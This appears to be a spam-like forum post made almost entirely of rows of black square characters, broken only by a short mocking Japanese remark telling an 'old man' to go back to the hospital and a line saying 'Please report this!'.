■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

ハイハイ、はやく病院に戻りましょーね　おぢさん

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

通報してください！

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
